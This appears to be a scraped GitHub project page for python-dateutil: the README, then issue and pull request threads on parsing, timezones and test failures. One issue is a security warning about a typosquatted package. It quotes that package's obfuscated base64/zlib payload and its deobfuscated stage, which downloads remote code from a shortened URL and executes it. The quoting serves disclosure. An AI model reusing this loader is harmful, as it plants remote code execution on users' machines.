Useful extensions to the standard Python datetime features

Overview

dateutil - powerful extensions to datetime

pypi version supported Python version licence

Join the chat at https://gitter.im/dateutil/dateutil Read the documentation at https://dateutil.readthedocs.io/en/latest/

travis build status appveyor build status azure pipelines build status Code coverage

The dateutil module provides powerful extensions to the standard datetime module, available in Python.

Installation

dateutil can be installed from PyPI using pip (note that the package name is different from the importable name):

pip install python-dateutil

Download

dateutil is available on PyPI https://pypi.org/project/python-dateutil/

The documentation is hosted at: https://dateutil.readthedocs.io/en/stable/

Code

The code and issue tracker are hosted on GitHub: https://github.com/dateutil/dateutil/

Features

  • Computing of relative deltas (next month, next year, next Monday, last week of month, etc);
  • Computing of relative deltas between two given date and/or datetime objects;
  • Computing of dates based on very flexible recurrence rules, using a superset of the iCalendar specification. Parsing of RFC strings is supported as well.
  • Generic parsing of dates in almost any string format;
  • Timezone (tzinfo) implementations for tzfile(5) format files (/etc/localtime, /usr/share/zoneinfo, etc), TZ environment string (in all known formats), iCalendar format files, given ranges (with help from relative deltas), local machine timezone, fixed offset timezone, UTC timezone, and Windows registry-based time zones.
  • Internal up-to-date world timezone information based on Olson's database.
  • Computing of Easter Sunday dates for any given year, using Western, Orthodox or Julian algorithms;
  • A comprehensive test suite.

Quick example

Here's a snapshot, just to give an idea about the power of the package. For more examples, look at the documentation.

Suppose you want to know how much time is left, in years/months/days/etc, before the next easter happening on a year with a Friday 13th in August, and you want to get today's date out of the "date" unix system command. Here is the code:

>>> from dateutil.relativedelta import *
>>> from dateutil.easter import *
>>> from dateutil.rrule import *
>>> from dateutil.parser import *
>>> from datetime import *
>>> now = parse("Sat Oct 11 17:13:46 UTC 2003")
>>> today = now.date()
>>> year = rrule(YEARLY,dtstart=now,bymonth=8,bymonthday=13,byweekday=FR)[0].year
>>> rdelta = relativedelta(easter(year), today)
>>> print("Today is: %s" % today)
Today is: 2003-10-11
>>> print("Year with next Aug 13th on a Friday is: %s" % year)
Year with next Aug 13th on a Friday is: 2004
>>> print("How far is the Easter of that year: %s" % rdelta)
How far is the Easter of that year: relativedelta(months=+6)
>>> print("And the Easter of that year is: %s" % (today+rdelta))
And the Easter of that year is: 2004-04-11

Being exactly 6 months ahead was really a coincidence :)

Contributing

We welcome many types of contributions - bug reports, pull requests (code, infrastructure or documentation fixes). For more information about how to contribute to the project, see the CONTRIBUTING.md file in the repository.

Author

The dateutil module was written by Gustavo Niemeyer <[email protected]> in 2003.

It is maintained by:

Starting with version 2.4.1, all source and binary distributions will be signed by a PGP key that has, at the very least, been signed by the key which made the previous release. A table of release signing keys can be found below:

Releases Signing key fingerprint
2.4.1- 6B49 ACBA DCF6 BD1C A206 67AB CD54 FCE3 D964 BEFB

Contact

Our mailing list is available at [email protected]. As it is hosted by the PSF, it is subject to the PSF code of conduct.

License

All contributions after December 1, 2017 released under dual license - either Apache 2.0 License or the BSD 3-Clause License. Contributions before December 1, 2017 - except those those explicitly relicensed - are released only under the BSD 3-Clause License.

Comments
  • Implement dedicated isoparser

    Implement dedicated isoparser

    Here's a first pass at a dedicated iso parser per #424.

    This involves a reorganization of the code for parser into its own little submodule, to avoid the explosion of parser.py. I think there will likely be some problems for downstream users who are using private interfaces, but I'm not too worried about that.

    I've got a rough sketch for a Cython version of this that is ~20x faster, but it seems like even this pure-python version beats a datetime.strptime call:

    In [1]: from dateutil.parser import isoparse
       ...: from datetime import datetime
       ...: 
       ...: dt = '2014-02-28T14:25:03.446990'
       ...: 
    
    In [2]: %timeit isoparse(dt)
    10000 loops, best of 3: 20.7 µs per loop
    
    In [3]: %timeit datetime.strptime(dt, '%Y-%m-%dT%H:%M:%S.%f')
    The slowest run took 142.82 times longer than the fastest. This could mean that an intermediate result is being cached.
    10000 loops, best of 3: 34 µs per loop
    

    I may have gone a bit overboard with the test parametrization. More tests need to be added as well - I'm not, for example, testing any failure conditions.

    Remaining items to do:

    • [x] Explicitly convert to ASCII bytestring (there is no unicode in valid ISO-8601, and this assumption will make the Cython implementation faster)
    • [x] Add tests for the parse_isodate and parse_isotime functions.
    • [x] Decide what to do about the mix of classmethods and methods.

    Deferred:

    • Clean up documentation so that the primary interface is more explicitly isoparse.

    Ping @jbrockmendel @wagner-certat @mariocj89

    enhancement parser 
    opened by pganssle 25
  • parse iso format with option dayfirst

    parse iso format with option dayfirst

    It would seem to be an issue related to dayfirst options in ISOFORMAT date. This is an unambiguous date, so i expect does not come into play the "dayfirst" option.

    Version 2.4.2

    In [1]: parser.parse('1995-02-03') Out[1]: datetime.datetime(1995, 2, 3, 0, 0)

    In [2]: parser.parse('1995-02-03', dayfirst=True) Out[2]: datetime.datetime(1995, 2, 3, 0, 0)

    Version 2.5.3

    In [1]: parser.parse('1995-02-03') Out[1]: datetime.datetime(1995, 2, 3, 0, 0)

    In [2]: parser.parse('1995-02-03', dayfirst=True) Out[2]: datetime.datetime(1995, 3, 2, 0, 0)

    Thanks in advance Glauco

    duplicate wontfix parser 
    opened by glaucouri 19
  • tzwin.py fails to import

    tzwin.py fails to import

    dateutil/tz.py never uses tzwin.py since tzwin.py fails to import with the following exception:

    Traceback (most recent call last):
      File "dateutil/tzwin.py", line 7, in <module>
        from .tz import tzname_in_python2
    ValueError: Attempted relative import in non-package
    
    bug time zones 
    opened by labrys 19
  • PSA: There is a fake version of this package on PyPI with malicious code

    PSA: There is a fake version of this package on PyPI with malicious code

    Just a quick heads-up: There is a fake version of this package called python3-dateutil on PyPI that contains additional imports of the jeIlyfish package (itself a fake version of the jellyfish package, that first L is an I). That package in turn contains malicious code starting at line 313 in jeIlyfish/_jellyfish.py:

    import zlib
    import base64
    
    # Edit by @pganssle
    raise Exception("Exception added to prevent people from running this accidentally")
    
    ZAUTHSS = ''
    ZAUTHSS += 'eJx1U12PojAUfedXkMwDmjgOIDIyyTyoIH4gMiooTmYnQFsQQWoLKv76rYnZbDaz'
    ZAUTHSS += 'fWh7T849vec294lXexEeT0XT6ScXpawkk+C9Z+yHK5JSPL3kg5h74tUuLeKsK8aa'
    ZAUTHSS += '6SziySDryHmPhgX1sCUZtigVxga92oNkNeqL8Ox5/ZMeRo4xNpduJB2NCcROwXS2'
    ZAUTHSS += 'wTVf3q7EUYE+xeVomhwLYsLeQhzth4tQkXpGipPAtTVPW1a6fz7oa2m38NYzDQSH'
    ZAUTHSS += 'hCl0ksxCEz8HcbAzkDYuo/N4t8hs5qF0KtzHZxXQxBnXkXhKa5Zg18nHh0tAZCj+'
    ZAUTHSS += 'oA+L2xFvgXMJtN3lNoPLj5XMSHR4ywOwHeqnV8kfKf7a2QTEl3aDjbpBfSOEZChf'
    ZAUTHSS += '9jOqBxgHNKADZcXtc1yQkiewRWvaKij3XVRl6xsS8s6ANi3BPX5cGcr9iL4XGB4b'
    ZAUTHSS += 'BW0DeD5WWdYSLqHQbP2IciWp3zj+viNS5HxFsmwfyvyjEhbe0zgeXiOIy785bQJP'
    ZAUTHSS += 'FaTlP1T+zoVR43anABgVOSaQ0kYYUKgq7VBS7yCADQLbtAobHM8T4fOX+KwFYQQg'
    ZAUTHSS += '+hJagtB6iDWEpCzx28tLuC+zus3EXuSut7u6YX4gQpOVEIBGs/1QFKoSPfeYU5QF'
    ZAUTHSS += 'MX1nD8xdaz2xJrbB8c1P5e1Z+WpXGEPSaLLFPTyx7tP/NPJP+9l/QteSTVWUpNQR'
    ZAUTHSS += 'ZbDXT9vcSl43I5ksclc0fUaZ37bLZJjHY69GMR2fA5otolpF187RlZ1riTrG6zLp'
    ZAUTHSS += 'odQsjopv9NLM7juh1L2k2drSImCpTMSXtfshL/2RdvByfTbFeHS0C29oyPiwVVNk'
    ZAUTHSS += 'Vs4NmfXZnkMEa3ex7LqpC8b92Uj9kNLJfSYmctiTdWuioFJDDADoluJhjfykc2bz'
    ZAUTHSS += 'VgHXcbaFvhFXET1JVMl3dmym3lzpmFv5N6+3QHk='
    
    
    ZAUTHSS = base64.b64decode(ZAUTHSS)
    ZAUTHSS = zlib.decompress(ZAUTHSS)
    if ZAUTHSS:
        exec(ZAUTHSS)
    

    which deobfuscates to

    # 68cpHJ0GPAhw4tu1GrpiVEiCSrjspJwmBg
    # 65sogl50g9GPOgIBl32m8sbosVpL1EN01oEWf7NBhSFA0evVVAqDbcPEHGRUc1nEIepPo
    # XaxmRzxrP6dDJptFJhnorGe8O0FiCOb418EjphaUN9V9RuDYvkDT1ZOVTK9dakh
    # 3hlLfIYmdgaZEf9HtcvHZOlNpHJtPupApv6dshPHyc0qjy
    # NyhQQUrdcE4YBAeoznpXdPwa9ZwzKeRQS2
    # sCzmadXCDq71YF4YTPWarY1ZBW6WfAEberC2wiKsDappasasB4S
    
    # Edit by @pganssle
    raise Exception("Exception added to prevent people from running this accidentally")
    
    import re,sys,os
    _out,_err=sys.stdout,sys.stderr
    sys.stdout,sys.stderr=open(os.devnull,'wb'),open(os.devnull,'wb')
    try:
     try:from urllib2 import urlopen
     except:from urllib.request import urlopen 
     exec(zlib.decompress(base64.b16decode(re.sub(
      r'[^0-9abcdef]','',urlopen('http://bitly.com/25VZxUbmkr').read().decode('utf-8'),flags=re.MULTILINE
     )[4:-4].upper())))
    except:pass
    sys.stdout,sys.stderr=_out,_err
    # eUL2G6011jP02diDqXmLh7WF2rOmU0GY
    # MzXRhCmgHVyfgsHvaslOcy6fx3nU2Pxtf3E7Rh8fjGon4YE8jlNAPb15wjlTL9cdL6
    # Y296
    # 2RYF9kVmDKJppFnNoVCE2pkX6jfGuPzfGyvNMefeyUOR5UjUdHAKF6Q1jI
    # XI2b82DLI4ft9f
    # dfzjpCyfYh3v9GPudUPPXoDW0Scsq1s4mZNgGjVM43GX2
    

    I've sent an email to the Python security team and hope they'll take the package (as well as the other ones by the user) down soon, but in the meantime it might be a good idea to check if you have the correct version installed. Luckily it's only been up for two days.

    opened by lutoma 18
  • Test failure: test_tzlocal_offset_equal[GMT-tzoff1] (dateutil 2.8.0)

    Test failure: test_tzlocal_offset_equal[GMT-tzoff1] (dateutil 2.8.0)

    Running into the following test failure while QA'ing dateutil 2.8.0 to update the FreeBSD port:

    tzvar = 'GMT', tzoff = tzoffset(u'GMT', 0)
    
        @mark_tzlocal_nix
        @pytest.mark.parametrize('tzvar, tzoff', [
            ('EST5', tz.tzoffset('EST', -18000)),
            ('GMT', tz.tzoffset('GMT', 0)),
            ('YAKT-9', tz.tzoffset('YAKT', timedelta(hours=9))),
            ('JST-9', tz.tzoffset('JST', timedelta(hours=9))),
        ])
        def test_tzlocal_offset_equal(tzvar, tzoff):
            with TZEnvContext(tzvar):
                # Including both to test both __eq__ and __ne__
    >           assert tz.tzlocal() == tzoff
    E           AssertionError: assert tzlocal() == tzoffset(u'GMT', 0)
    E             -tzlocal()
    E             +tzoffset(u'GMT', 0)
    
    dateutil/test/test_tz.py:1008: AssertionError
    

    System/test environment is:

    platform freebsd13 -- Python 2.7.16, pytest-4.5.0, py-1.8.0, pluggy-0.11.0 -- /usr/local/bin/python2.7
    plugins: xdist-1.28.0, mock-1.10.4, forked-1.0.2, cov-2.7.1, hypothesis-4.23.6
    

    System timezone is Australia/Sydney:

    # tail -n 1 /etc/localtime
    AEST-10AEDT,M10.1.0,M4.1.0/3
    

    I've tried setting TZ=UTC and TZ=other-non-utc-timezones environment variables without affect.

    time zones 
    opened by koobs 18
  • Make tz.tzstr fail if an invalid GNU tz string is provided

    Make tz.tzstr fail if an invalid GNU tz string is provided

    This pr fixes #259. As discussed with @pganssle in the dateutil sprint in London, the fix consist in modifiying dateutil.parser._parser._tzparser.parse to check if all tokens generated from the input string have been consumed (except separators that are assumed to be "," and ":" as specified here). To have some control (and help future debugging) on the tokens that are not used, a mark of used_tokens is used internally to keep track of this. To avoid making the parser raise and therefore modifiying the current behaviour, a new slotted field was added to dateutil.parser._parser._tzparser._result that indicates if all tokens have been consumed or not. This is used in dateutil.tz.tz.tzstr to raise accordingly in the case that this check fails (so not all tokens have been consumed`.

    8 test of the test suite for tz.tz.tzstr were failing because they were using invalid strings and now the call to tz.tz.tzstr raises. These test were using "default" arguments, that were intented to use the default values that the parser, tzstr and tzrange constructs. To fix these test, the input string has been changed for a GNUtz-compatible equivalent.

    opened by pablogsal 17
  • Incorrect timezone during PDT -> PST Switch

    Incorrect timezone during PDT -> PST Switch

    Migrated from launchpad issue #1390262:

    Quoting Yupeng on 2014-11-07:

    root@yupeng-desktop:~# date
    Sun Nov 2 01:43:42 PDT 2014
    root@yupeng-desktop:~# python
    Python 2.7.3 (default, Apr 10 2013, 06:20:15)
    [GCC 4.6.3] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> from datetime import *
    >>> from dateutil.tz import *
    >>> datetime.now(tzlocal()).tzname()
    'PST'
    
    bug time zones 
    opened by pganssle 17
  • Warn on unidentified tz

    Warn on unidentified tz

    Current incorrect behavior:

    >>> parser.parse('2017-12-05 08:38 EST')
    datetime.datetime(2017, 12, 5, 8, 38)
    

    This PR raises instead of silently dropping this timezone information.

    This surfaces two test failures that look like false-positives slipped through and got assigned to res.tzname. Thats the "WIP" part of the PR.

    ___________________________________________ ParserTest.testFuzzyIgnoreAMPM ___________________________________________
    [...]
    timestr = 'Jan 29, 1945 14:45 AM I going to see you there?'
    res = _result(year=1945, month=1, day=29, hour=14, minute=45, tzname=u'I')
    
    ___________________________________________ ParserTest.testRandomFormat26 ____________________________________________
    [...]
    timestr = '5:50 A.M. on June 13, 1990'
    _result(year=1990, month=6, day=13, hour=5, minute=50, tzname=u'M', ampm=0)
    
    enhancement parser 
    opened by jbrockmendel 16
  • Tests cannot find timezone file which is present, then fail (should skip)

    Tests cannot find timezone file which is present, then fail (should skip)

    The following tests fail when testing with source obtained from GitHub. The timezone file is present, but the tests do not find/see them.

    Beyond identifying the root cause of this issue, th tests should skip, not fail if the tarball cannot be found.

    1. ~~Include the timezone file as a data file for the tests to use~~ (Edit: timezone file is present)
    ======================================================================
    FAIL: testZoneInfoFileEnd1 (dateutil.test.test_tz.TZTest)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/usr/home/koobs/repos/freebsd/ports/devel/py-dateutil/work/dateutil-2.5.0/dateutil/test/test_tz.py", line 310, in testZoneInfoFileEnd1
        "EDT", MISSING_TARBALL)
    AssertionError: None != u'EDT' : This test fails if you don't have the dateutil timezone file installed. Please read the README
    
    ======================================================================
    FAIL: testZoneInfoFileStart1 (dateutil.test.test_tz.TZTest)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/usr/home/koobs/repos/freebsd/ports/devel/py-dateutil/work/dateutil-2.5.0/dateutil/test/test_tz.py", line 304, in testZoneInfoFileStart1
        MISSING_TARBALL)
    AssertionError: None != u'EST' : This test fails if you don't have the dateutil timezone file installed. Please read the README
    
    ======================================================================
    FAIL: testZoneInfoOffsetSignal (dateutil.test.test_tz.TZTest)
    ----------------------------------------------------------------------
    Traceback (most recent call last):
      File "/usr/home/koobs/repos/freebsd/ports/devel/py-dateutil/work/dateutil-2.5.0/dateutil/test/test_tz.py", line 317, in testZoneInfoOffsetSignal
        self.assertNotEqual(utc, None, MISSING_TARBALL)
    AssertionError: None == None : This test fails if you don't have the dateutil timezone file installed. Please read the README
    
    build tests 
    opened by koobs 15
  • Sensible defaults for tzinfos

    Sensible defaults for tzinfos

    So we don't want to hard-code tzinfos, but I claim that the following or something like it would be a Sensible Default for tzinfos (at least for US users)

    tzinfos_us = {
        'PST': dateutil.tz.gettz('US/Pacific'),
        'PDT': dateutil.tz.gettz('US/Pacific'),
        'PT': dateutil.tz.gettz('US/Pacific'),
        'MST': dateutil.tz.gettz('US/Mountain'),
        'MDT': dateutil.tz.gettz('US/Mountain'),
        'MT': dateutil.tz.gettz('US/Mountain'),
        'CST': dateutil.tz.gettz('US/Central'),
        'CDT': dateutil.tz.gettz('US/Central'),
        'CT': dateutil.tz.gettz('US/Central'),
        'EST': dateutil.tz.gettz('US/Eastern'),
        'EDT': dateutil.tz.gettz('US/Eastern'),
        'ET': dateutil.tz.gettz('US/Eastern')}
    

    There are others that are pretty close to unambiguous: BRST, CEST, ... If this would make it easier for a large fraction of users to Do It Right, then we should consider providing a shortcut to something like this.

    opened by jbrockmendel 14
  • Time zone handling of ambiguous dates

    Time zone handling of ambiguous dates

    This PR covers a few enhancements to the tz module.

    I did some light refactoring of tzfile implementation as I was going over it, and I also realized that we were using some monstrously inefficient search in a frequently called method - basically, when trying to pinpoint which two transitions we're currently between, we were doing a linear search of all transition times, when we should have been using the binary search provided by the bisect method.

    Additionally, I've implemented a method for handling ambiguous datetimes, as discussed in #112. The use of stateful tzinfo files is not ideal, but as far as I can tell this is the best way to actually handle ambiguous dates. This does nothing to address non-existent dates, but I think that is somewhat less of a problem for the moment.

    As I was refactoring tzfile, I also addressed the odd edge case (#128) where a DST transition and a change in the base offset occur at the same time, cancelling one another out. We don't actually have enough information in the compiled binaries to address this the right way, but I've at least added the heuristic that if a zone is marked DST but it has zero time difference with its most recent standard time, infer the DST status from the next standard time instead. I also changed it so that these DST offsets are cached in the tzfile, not calculated on the fly.

    bug enhancement time zones 
    opened by pganssle 14
  • Parse unable to parse date string with locale timezone info

    Parse unable to parse date string with locale timezone info

    dateStr2 = '4 May 2022 14:00:00 US/Eastern' dateTime = dateutil.parser.parse(dateStr2, tzinfos=tzinfos)

    ParserError Traceback (most recent call last) Cell In [68], line 1 ----> 1 dateTime = dateutil.parser.parse(dateStr2, tzinfos=tzinfos) 2 dateTime.isoformat()

    File ~\AppData\Local\Programs\Python\Python310\lib\site-packages\dateutil\parser_parser.py:1368, in parse(timestr, parserinfo, **kwargs) 1366 return parser(parserinfo).parse(timestr, **kwargs) 1367 else: -> 1368 return DEFAULTPARSER.parse(timestr, **kwargs)

    File ~\AppData\Local\Programs\Python\Python310\lib\site-packages\dateutil\parser_parser.py:643, in parser.parse(self, timestr, default, ignoretz, tzinfos, **kwargs) 640 res, skipped_tokens = self._parse(timestr, **kwargs) 642 if res is None: --> 643 raise ParserError("Unknown string format: %s", timestr) 645 if len(res) == 0: 646 raise ParserError("String does not contain a date: %s", timestr)

    ParserError: Unknown string format: 4 May 2022 14:00:00 US/Eastern

    opened by thomastthai 0
  • TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'

    TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'

    when i run test, it failed some test.

    This seems to be hypothesis' mistake.

    compatibility question?

    [   74s] + /usr/bin/python3 -m pytest
    [   75s] ============================= test session starts ==============================
    [   75s] platform linux -- Python 3.7.9, pytest-3.6.4, py-1.5.4, pluggy-0.6.0
    [   75s] rootdir: /home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1, inifile: setup.cfg
    [   75s] plugins: hypothesis-3.66.11
    [   76s] collected 2076 items
    [   76s] 
    [   76s] dateutil/test/test_easter.py ........................................... [  2%]
    [   76s] ........................................................................ [  5%]
    [   76s] ................................................                         [  7%]
    [   76s] dateutil/test/test_import_star.py .                                      [  7%]
    [   76s] dateutil/test/test_imports.py .................sss...                    [  9%]
    [   76s] dateutil/test/test_internals.py ....                                     [  9%]
    [   76s] dateutil/test/test_isoparser.py ........................................ [ 11%]
    [   76s] ........................................................................ [ 14%]
    [   76s] ........................................................................ [ 18%]
    [   76s] ........................................................................ [ 21%]
    [   77s] ........................................................................ [ 25%]
    [   77s] .......x...x............................................................ [ 28%]
    [   77s] ........................................................................ [ 31%]
    [   77s] ........................................................................ [ 35%]
    [   77s] .....................xx                                                  [ 36%]
    [   77s] dateutil/test/test_parser.py ........................................... [ 38%]
    [   77s] ........................................................................ [ 42%]
    [   77s] ........................................................................ [ 45%]
    [   79s] .................................xxxxxxxxxxxxx.........                  [ 48%]
    [   79s] dateutil/test/test_relativedelta.py .................................... [ 49%]
    [   79s] .............................................                            [ 52%]
    [   79s] dateutil/test/test_rrule.py ............................................ [ 54%]
    [   79s] ........................................................................ [ 57%]
    [   79s] ........................................................................ [ 61%]
    [   80s] ........................................................................ [ 64%]
    [   80s] ........................................................................ [ 68%]
    [   80s] ........................................................................ [ 71%]
    [   80s] ........................................................................ [ 75%]
    [   81s] ................................................................x....... [ 78%]
    [   81s] ..............                                                           [ 79%]
    [   81s] dateutil/test/test_tz.py ............................s...............s.. [ 81%]
    [   81s] ...........................................s............................ [ 84%]
    [   82s] .x.....s......................................s......................... [ 88%]
    [   82s] ..s..................................................................... [ 91%]
    [   82s] ............s......................................s.sssssssssssssssssss [ 95%]
    [   83s] sssssssssssssss....s..........s......................................... [ 98%]
    [   83s] ...............                                                          [ 99%]
    [   83s] dateutil/test/test_utils.py .......                                      [ 99%]
    [   84s] dateutil/test/property/test_isoparse_prop.py F                           [ 99%]
    [   84s] dateutil/test/property/test_parser_prop.py FF                            [ 99%]
    [   84s] docs/exercises/solutions/mlk_day_rrule_solution.py .                     [100%]
    [   84s] 
    [   84s] =================================== FAILURES ===================================
    [   84s] ______________________________ test_timespec_auto ______________________________
    [   84s] 
    [   84s]     @pytest.mark.isoparser
    [   84s] >   @given(dt=st.datetimes(timezones=TIME_ZONE_STRATEGY), sep=ASCII_STRATEGY)
    [   84s]     def test_timespec_auto(dt, sep):
    [   84s] 
    [   84s] dateutil/test/property/test_isoparse_prop.py:17: 
    [   84s] _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
    [   84s] 
    [   84s] self = <hypothesis.core.StateForActualGivenExecution object at 0xfffd415183d0>
    [   84s] test_runner = <function default_new_style_executor at 0xfffd43596440>
    [   84s] search_strategy = tuples(just(()), fixed_dictionaries({'dt': datetimes(timezones=sampled_from([None,
    [   84s]   tzutc(),
    [   84s]   tzfile('/usr/share/zon.../usr/share/zoneinfo/Europe/London')])),
    [   84s]  'sep': characters(max_codepoint=127)}).map(lambda args: dict(args, **kwargs)))
    [   84s] test = <function test_timespec_auto at 0xfffd42ae4d40>
    [   84s] settings = settings(buffer_size=8192, database=DirectoryBasedExampleDatabase('/home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1/....INFER: 1>, stateful_step_count=50, suppress_health_check=(), timeout=60, use_coverage=True, verbosity=Verbosity.normal)
    [   84s] random = <random.Random object at 0xaaac781325a0>, had_seed = None
    [   84s] 
    [   84s]     def __init__(
    [   84s]         self, test_runner, search_strategy, test, settings, random, had_seed
    [   84s]     ):
    [   84s]         self.test_runner = test_runner
    [   84s]         self.search_strategy = search_strategy
    [   84s]         self.settings = settings
    [   84s]         self.last_exception = None
    [   84s]         self.falsifying_examples = ()
    [   84s]         self.__was_flaky = False
    [   84s]         self.random = random
    [   84s]         self.__warned_deadline = False
    [   84s]         self.__existing_collector = None
    [   84s]         self.__test_runtime = None
    [   84s]         self.__had_seed = had_seed
    [   84s]     
    [   84s]         self.test = test
    [   84s]     
    [   84s]         self.coverage_data = CoverageData()
    [   84s]         self.files_to_propagate = set()
    [   84s]         self.failed_normally = False
    [   84s]     
    [   84s]         self.used_examples_from_database = False
    [   84s]     
    [   84s]         if settings.use_coverage and not IN_COVERAGE_TESTS:  # pragma: no cover
    [   84s]             if Collector._collectors:
    [   84s]                 parent = Collector._collectors[-1]
    [   84s]     
    [   84s]                 # We include any files the collector has already decided to
    [   84s]                 # trace whether or not on re-investigation we still think it
    [   84s]                 # wants to trace them. The reason for this is that in some
    [   84s]                 # cases coverage gets the wrong answer when we run it
    [   84s]                 # ourselves due to reasons that are our fault but are hard to
    [   84s]                 # fix (we lie about where certain functions come from).
    [   84s]                 # This causes us to not record the actual test bodies as
    [   84s]                 # covered. But if we intended to trace test bodies then the
    [   84s]                 # file must already have been traced when getting to this point
    [   84s]                 # and so will already be in the collector's data. Hence we can
    [   84s]                 # use that information to get the correct answer here.
    [   84s]                 # See issue 997 for more context.
    [   84s]                 self.files_to_propagate = set(parent.data)
    [   84s]                 self.hijack_collector(parent)
    [   84s]     
    [   84s]             self.collector = Collector(
    [   84s]                 branch=True,
    [   84s]                 timid=FORCE_PURE_TRACER,
    [   84s]                 should_trace=self.should_trace,
    [   84s]                 check_include=hypothesis_check_include,
    [   84s]                 concurrency='thread',
    [   84s] >               warn=escalate_warning,
    [   84s]             )
    [   84s] E           TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'
    [   84s] 
    [   84s] /usr/lib/python3.7/site-packages/hypothesis/core.py:516: TypeError
    [   84s] _______________________________ test_convertyear _______________________________
    [   84s] 
    [   84s]     @pytest.mark.parserinfo
    [   84s] >   @given(integers(min_value=100, max_value=9999))
    [   84s]     def test_convertyear(n):
    [   84s] 
    [   84s] dateutil/test/property/test_parser_prop.py:10: 
    [   84s] _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
    [   84s] 
    [   84s] self = <hypothesis.core.StateForActualGivenExecution object at 0xfffd4137c390>
    [   84s] test_runner = <function default_new_style_executor at 0xfffd43596440>
    [   84s] search_strategy = tuples(just(()), fixed_dictionaries({'n': integers(min_value=100, max_value=9999)}).map(lambda args: dict(args, **kwargs)))
    [   84s] test = <function test_convertyear at 0xfffd42aeb560>
    [   84s] settings = settings(buffer_size=8192, database=DirectoryBasedExampleDatabase('/home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1/....INFER: 1>, stateful_step_count=50, suppress_health_check=(), timeout=60, use_coverage=True, verbosity=Verbosity.normal)
    [   84s] random = <random.Random object at 0xaaac780ee5b0>, had_seed = None
    [   84s] 
    [   84s]     def __init__(
    [   84s]         self, test_runner, search_strategy, test, settings, random, had_seed
    [   84s]     ):
    [   84s]         self.test_runner = test_runner
    [   84s]         self.search_strategy = search_strategy
    [   84s]         self.settings = settings
    [   84s]         self.last_exception = None
    [   84s]         self.falsifying_examples = ()
    [   84s]         self.__was_flaky = False
    [   84s]         self.random = random
    [   84s]         self.__warned_deadline = False
    [   84s]         self.__existing_collector = None
    [   84s]         self.__test_runtime = None
    [   84s]         self.__had_seed = had_seed
    [   84s]     
    [   84s]         self.test = test
    [   84s]     
    [   84s]         self.coverage_data = CoverageData()
    [   84s]         self.files_to_propagate = set()
    [   84s]         self.failed_normally = False
    [   84s]     
    [   84s]         self.used_examples_from_database = False
    [   84s]     
    [   84s]         if settings.use_coverage and not IN_COVERAGE_TESTS:  # pragma: no cover
    [   84s]             if Collector._collectors:
    [   84s]                 parent = Collector._collectors[-1]
    [   84s]     
    [   84s]                 # We include any files the collector has already decided to
    [   84s]                 # trace whether or not on re-investigation we still think it
    [   84s]                 # wants to trace them. The reason for this is that in some
    [   84s]                 # cases coverage gets the wrong answer when we run it
    [   84s]                 # ourselves due to reasons that are our fault but are hard to
    [   84s]                 # fix (we lie about where certain functions come from).
    [   84s]                 # This causes us to not record the actual test bodies as
    [   84s]                 # covered. But if we intended to trace test bodies then the
    [   84s]                 # file must already have been traced when getting to this point
    [   84s]                 # and so will already be in the collector's data. Hence we can
    [   84s]                 # use that information to get the correct answer here.
    [   84s]                 # See issue 997 for more context.
    [   84s]                 self.files_to_propagate = set(parent.data)
    [   84s]                 self.hijack_collector(parent)
    [   84s]     
    [   84s]             self.collector = Collector(
    [   84s]                 branch=True,
    [   84s]                 timid=FORCE_PURE_TRACER,
    [   84s]                 should_trace=self.should_trace,
    [   84s]                 check_include=hypothesis_check_include,
    [   84s]                 concurrency='thread',
    [   84s] >               warn=escalate_warning,
    [   84s]             )
    [   84s] E           TypeError: __init__() missing 2 required positional arguments: 'should_start_context' and 'file_mapper'
    [   84s] 
    [   84s] /usr/lib/python3.7/site-packages/hypothesis/core.py:516: TypeError
    [   84s] ____________________ test_convertyear_no_specified_century _____________________
    [   84s] 
    [   84s]     @pytest.mark.parserinfo
    [   84s] >   @given(integers(min_value=-50,
    [   84s]                     max_value=49))
    [   84s]     def test_convertyear_no_specified_century(n):
    [   84s] 
    [   84s] dateutil/test/property/test_parser_prop.py:16: 
    [   84s] _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ 
    [   84s] 
    [   84s] self = <hypothesis.core.StateForActualGivenExecution object at 0xfffd415ea790>
    [   84s] test_runner = <function default_new_style_executor at 0xfffd43596440>
    [   84s] search_strategy = tuples(just(()), fixed_dictionaries({'n': integers(min_value=-50, max_value=49)}).map(lambda args: dict(args, **kwargs)))
    [   84s] test = <function test_convertyear_no_specified_century at 0xfffd42aeba70>
    [   84s] settings = settings(buffer_size=8192, database=DirectoryBasedExampleDatabase('/home/abuild/rpmbuild/BUILD/python-dateutil-2.8.1/....INFER: 1>, stateful_step_count=50, suppress_health_check=(), timeout=60, use_coverage=True, verbosity=Verbosity.normal)
    [   84s] random = <random.Random object at 0xaaac780c7260>, had_seed = None
    [   84s] 
    [   84s]     def __init__(
    [   84s]         self, test_runner, search_strategy, test, settings, random, had_seed
    [   84s]     ):
    [   84s]         self.test_runner = test_runner
    [   84s]         self.search_strategy = search_strategy
    [   84s]         self.settings = settings
    [   84s]         self.last_exception = None
    [   84s]         self.falsifying_examples = ()
    [   84s]         self.__was_flaky = False
    [   84s]         self.random = random
    [   84s]         self.__warned_deadline = False
    [   84s]         self.__existing_collector = None
    [   84s]         self.__test_runtime = None
    [   84s]         self.__had_seed = had_seed
    [   84s]     
    [   84s]         self.test = test
    [   84s]     
    [   84s]         self.coverage_data = CoverageData()
    [   84s]         self.files_to_propagate = set()
    [   84s]         self.failed_normally = False
    [   84s]     
    [   84s]         self.used_examples_from_database = False
    [   84s]     
    [   84s]         if settings.use_coverage and not IN_COVERAGE_TESTS:  # pragma: no cover
    [   84s]             if Collector._collectors:
    [   84s]                 parent = Collector._collectors[-1]
    [   84s]     
